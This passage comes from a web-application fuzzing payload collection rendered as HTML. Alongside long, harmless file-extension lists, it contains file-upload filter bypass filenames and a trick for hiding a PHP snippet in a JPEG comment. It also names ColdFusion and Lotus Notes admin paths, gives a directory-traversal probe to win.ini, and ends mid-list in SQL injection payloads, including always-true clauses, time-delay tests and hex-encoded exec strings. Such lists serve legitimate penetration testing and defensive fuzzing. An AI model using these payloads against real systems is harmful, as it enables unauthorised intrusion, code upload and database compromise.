/> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar 